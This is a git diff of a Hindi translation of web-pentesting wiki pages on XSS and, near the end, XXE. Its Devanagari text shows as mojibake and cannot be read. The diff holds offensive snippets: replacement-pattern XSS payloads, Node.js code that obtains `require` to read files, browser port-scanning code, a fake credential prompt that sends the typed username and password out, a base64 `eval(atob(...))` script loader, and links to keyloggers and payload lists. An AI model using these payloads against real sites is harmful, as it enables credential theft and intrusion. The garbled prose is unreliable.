рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкреИрдХреЗрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```html ``` -рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ [**рдЗрд╕ рд▓реЗрдЦ**](https://github.com/zwade/yaca/tree/master/solution) рдореЗрдВ рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ eval рдкрд░ рдкреБрдирдГ рдореИрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ XSS рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ [**рдЗрд╕ рд▓реЗрдЦ**](https://github.com/zwade/yaca/tree/master/solution) рдореЗрдВ рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЛ рдкреБрдирдГ рдореИрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдпрд╣ XSS рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдкреНрд░реА-рд░реЗрдВрдбрд░рд┐рдВрдЧ рдХреЗ рдХрд╛рд░рдг рдЙрддреНрдкрдиреНрди рдХреБрдЫ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ рдЗрд╕ рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: ```html @@ -934,7 +932,7 @@ import { partition } from "lodash" ### xml Content Type -рдпрджрд┐ рдкреГрд╖реНрда text/xml рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рд╡рд╛рдкрд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдпрд╣ рдПрдХ namespace рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдФрд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: +рдпрджрд┐ рдкреГрд╖реНрда рдПрдХ text/xml рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рд╡рд╛рдкрд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдпрд╣ рдПрдХ namespace рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдФрд░ рдордирдорд╛рдирд╛ JS рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: ```xml hello @@ -946,7 +944,7 @@ import { partition } from "lodash" рдЬрдм рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдХрд╛ **`"some {{template}} data".replace("{{template}}", )`** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ [**рд╡рд┐рд╢реЗрд╖ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**рдЗрд╕ рд▓реЗрдЦ**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) рдореЗрдВ, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ JSON рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдХреЗрдк рдХрд░рдиреЗ** рдФрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**рдЗрд╕ рд▓реЗрдЦ**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) рдореЗрдВ, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ JSON рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдХреЗрдк рдХрд░рдиреЗ** рдФрд░ рдордирдорд╛рдиреА рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред ### рдХреНрд░реЛрдо рдХреИрд╢ рд╕реЗ XSS @@ -1011,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, **рддреНрд░реБрдЯрд┐ рд╣реИрдВрдбрд▓рд░реНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдореЙрдбреНрдпреВрд▓** рдХреЗ **рд╡реНрд░реИрдкрд░** рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдФрд░ **`require`** рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: +рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдХреА рддрд░рд╣, **рддреНрд░реБрдЯрд┐ рд╣реИрдВрдбрд▓рд░реНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдореЙрдбреНрдпреВрд▓** рдХреЗ **wrapper** рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдФрд░ **`require`** рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: ```javascript try { null.f() @@ -1051,7 +1049,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдУрдмрдлрд╕реНрдХреЗрд╢рди:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **рдПрдХ рдкреГрд╖реНрда рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдУрдмрдлрд╕реНрдХреЗрд╢рдиреНрд╕:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1360,9 +1358,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_рдЫреЛрдЯреЗ рд╕рдордп рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреЛрд░реНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗ рд░рд╣рд╛ рд╣реИ_ _рд▓рдВрдмреЗ рд╕рдордп рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХреЛрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд╣реАрдВ рд╣реИред_ +_рдЫреЛрдЯреЗ рд╕рдордп рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдкреЛрд░реНрдЯ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ_ _рд▓рдВрдмреЗ рд╕рдордп рдХреЛрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд╣реАрдВ рд╣реЛрдиреЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВред_ -Chrome рдореЗрдВ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдкреЛрд░реНрдЯреЛрдВ рдХреА рд╕реВрдЪреА рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ [**рдпрд╣рд╛рдВ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) рдФрд░ Firefox рдореЗрдВ [**рдпрд╣рд╛рдВ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)ред +Chrome рдореЗрдВ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдкреЛрд░реНрдЯ рдХреА рд╕реВрдЪреА рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ [**рдпрд╣рд╛рдВ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) рдФрд░ Firefox рдореЗрдВ [**рдпрд╣рд╛рдВ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)ред ### рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рдкреВрдЫрдиреЗ рд╡рд╛рд▓рд╛ рдмреЙрдХреНрд╕ ```html @@ -1383,7 +1381,7 @@ body:username.value+':'+this.value ### рдХреАрд▓реЙрдЧрд░ -рдмрд╕ рдЧрд┐рдЯрд╣рдм рдкрд░ рдЦреЛрдЬрддреЗ рд╕рдордп рдореИрдВрдиреЗ рдХреБрдЫ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдХреАрд▓реЙрдЧрд░ рдкрд╛рдП: +рд╕рд┐рд░реНрдл рдЧрд┐рдЯрд╣рдм рдкрд░ рдЦреЛрдЬрдиреЗ рдкрд░ рдореБрдЭреЗ рдХреБрдЫ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдорд┐рд▓реЗ: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1500,7 +1498,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Access Hidden Content -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) рдпрд╣ рдЬрд╛рдирдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рднрд▓реЗ рд╣реА рдХреБрдЫ рдорд╛рди JS рд╕реЗ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рдПрдВ, рдлрд┐рд░ рднреА рдЙрдиреНрд╣реЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡рд╕реНрддреБрдУрдВ рдореЗрдВ JS рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдореЗрдВ рдвреВрдВрдврдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, REGEX рдХрд╛ рдПрдХ рдЗрдирдкреБрдЯ рдЗрд╕реЗ рдвреВрдВрдврдирд╛ рдЕрднреА рднреА рд╕рдВрднрд╡ рд╣реИ рдЬрдм REGEX рдХреЗ рдЗрдирдкреБрдЯ рдХрд╛ рдорд╛рди рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ: +[**рдЗрд╕ рд▓реЗрдЦ**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) рд╕реЗ рдпрд╣ рд╕реАрдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рднрд▓реЗ рд╣реА рдХреБрдЫ рдорд╛рди JS рд╕реЗ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рдПрдВ, рдлрд┐рд░ рднреА рдЙрдиреНрд╣реЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡рд╕реНрддреБрдУрдВ рдореЗрдВ JS рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдореЗрдВ рдвреВрдВрдврдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, REGEX рдХрд╛ рдПрдХ рдЗрдирдкреБрдЯ рдЗрд╕реЗ рдвреВрдВрдврдирд╛ рд╕рдВрднрд╡ рд╣реИ, рднрд▓реЗ рд╣реА REGEX рдХреЗ рдЗрдирдкреБрдЯ рдХрд╛ рдорд╛рди рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1544,7 +1542,7 @@ xss-in-markdown.md ### рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдмрдирд╛рдП рдЧрдП PDF рдореЗрдВ XSS -рдпрджрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ PDF рдмрдирд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **PDF рдмрдирд╛рдиреЗ рд╡рд╛рд▓реЗ рдмреЙрдЯ** рдХреЛ **рдордирд╛рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ **рдордирдорд╛рдиреЗ JS рдХреЛрдб** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗред\ +рдпрджрд┐ рдПрдХ рд╡реЗрдм рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ PDF рдмрдирд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдмреЙрдЯ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ PDF рдмрдирд╛ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд╣ **рдордирдорд╛рдирд╛ JS рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗред\ рддреЛ, рдпрджрд┐ **PDF рдирд┐рд░реНрдорд╛рддрд╛ рдмреЙрдЯ** рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреЗ **HTML** **рдЯреИрдЧ** рдкрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ **рд╡реНрдпрд╛рдЦреНрдпрд╛** рдХрд░реЗрдЧрд╛, рдФрд░ рдЖрдк рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░рдХреЗ **рд╕рд░реНрд╡рд░ XSS** рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред {{#ref}} @@ -1563,7 +1561,7 @@ AMP, рдореЛрдмрд╛рдЗрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рд╡реЗрдм рдкреГрд╖реНрда [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) рдкреНрд░рд╛рд░реВрдк рд╡рд┐рд╢рд┐рд╖реНрдЯ AMP рдШрдЯрдХреЛрдВ рдХреЛ рдИрдореЗрд▓ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдЕрдкрдиреЗ рдИрдореЗрд▓ рдХреЗ рднреАрддрд░ рд╕реАрдзреЗ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЙрджрд╛рд╣рд░рдг [**Gmail рдореЗрдВ Amp4Email рдореЗрдВ XSS рдХрд╛ рд▓реЗрдЦрд╛-рдЬреЛрдЦрд╛**](https://adico.me/post/xss-in-gmail-s-amp4email)ред +рдЙрджрд╛рд╣рд░рдг [**Gmail рдореЗрдВ Amp4Email рдореЗрдВ XSS рдХрд╛ рд▓реЗрдЦрд╛-рдЬреЛрдЦрд╛**](https://adico.me/post/xss-in-gmail-s-amp4email). ### рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп XSS (svg) @@ -1623,15 +1621,15 @@ id="foo"/> ```xml ``` -**рдЕрдзрд┐рдХ SVG рдкреЗрд▓реЛрдбреНрд╕ рдЦреЛрдЬреЗрдВ** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## рд╡рд┐рд╡рд┐рдз JS рдЯреНрд░рд┐рдХреНрд╕ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА +## Misc JS Tricks & Relevant Info {{#ref}} other-js-tricks.md {{#endref}} -## XSS рд╕рдВрд╕рд╛рдзрди +## XSS resources - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 8be067493..3959ebc07 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -6,17 +6,17 @@ XML рдПрдХ рдорд╛рд░реНрдХрдЕрдк рднрд╛рд╖рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдФрд░ рдкрд░рд┐рд╡рд╣рди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд▓рдЪреАрд▓реА рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ рд╡рд░реНрдгрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдирд╛рдорд┐рдд рдЯреИрдЧ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ HTML рд╕реЗ рднрд┐рдиреНрди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЯреИрдЧ рдХреЗ рд╕реЗрдЯ рддрдХ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИред JSON рдХреЗ рдЙрджрдп рдХреЗ рд╕рд╛рде XML рдХрд╛ рдорд╣рддреНрд╡ рдХрдо рд╣реБрдЖ рд╣реИ, рдЗрд╕рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ AJAX рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдореЗрдВ рднреВрдорд┐рдХрд╛ рдХреЗ рдмрд╛рд╡рдЬреВрджред -- **Entities рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡**: XML рдореЗрдВ entities рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреИрд╕реЗ `<` рдФрд░ `>` рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ `<` рдФрд░ `>` рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ рддрд╛рдХрд┐ XML рдХреЗ рдЯреИрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред -- **XML рддрддреНрд╡реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛**: XML рддрддреНрд╡ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣ рдмрддрд╛рддреЗ рд╣реБрдП рдХрд┐ рддрддреНрд╡реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрдирдореЗрдВ рдХреНрдпрд╛ рд╕рд╛рдордЧреНрд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд▓реЗрдХрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдмрд╛рд▓ рддрддреНрд╡реЛрдВ рддрдХ рд╣реЛ рд╕рдХрддреА рд╣реИред -- **рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рдЯрд╛рдЗрдк рдкрд░рд┐рднрд╛рд╖рд╛ (DTD)**: DTDs XML рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рдпреЗ рдЖрдВрддрд░рд┐рдХ, рдмрд╛рд╣рд░реА, рдпрд╛ рд╕рдВрдпреЛрдЬрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реНрд╡рд░реВрдкрд┐рдд рдФрд░ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +- **Entities рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡**: XML рдореЗрдВ entities рдбреЗрдЯрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреИрд╕реЗ `<` рдФрд░ `>` рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬреЛ `<` рдФрд░ `>` рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ рддрд╛рдХрд┐ XML рдХреЗ рдЯреИрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред +- **XML рддрддреНрд╡реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛**: XML рддрддреНрд╡ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдпрд╣ рдмрддрд╛рддреЗ рд╣реБрдП рдХрд┐ рддрддреНрд╡реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЙрдирдореЗрдВ рдХреМрди рд╕рд╛ рд╕рд╛рдордЧреНрд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреА рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд▓реЗрдХрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдмрд╛рд▓ рддрддреНрд╡реЛрдВ рддрдХ рд╣реЛ рд╕рдХрддреА рд╣реИред +- **рдбреЙрдХреНрдпреВрдореЗрдВрдЯ рдЯрд╛рдЗрдк рдкрд░рд┐рднрд╛рд╖рд╛ (DTD)**: DTDs XML рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рд╕рдВрд░рдЪрдирд╛ рдФрд░ рдЗрд╕рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдбреЗрдЯрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред рдпреЗ рдЖрдВрддрд░рд┐рдХ, рдмрд╛рд╣рд░реА, рдпрд╛ рд╕рдВрдпреЛрдЬрди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рд╕реНрд╡рд░реВрдк рдФрд░ рдорд╛рдиреНрдпрддрд╛ рдХреЛ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред - **рдХрд╕реНрдЯрдо рдФрд░ рдмрд╛рд╣рд░реА Entities**: XML DTD рдХреЗ рднреАрддрд░ рд▓рдЪреАрд▓реЗ рдбреЗрдЯрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо entities рдмрдирд╛рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдмрд╛рд╣рд░реА entities, рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ URL рдХреЗ рд╕рд╛рде рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛рдУрдВ рдХреЛ рдЙрдард╛рддреА рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ XML External Entity (XXE) рд╣рдорд▓реЛрдВ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЬреЛ XML рдкрд╛рд░реНрд╕рд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдмрд╛рд╣рд░реА рдбреЗрдЯрд╛ 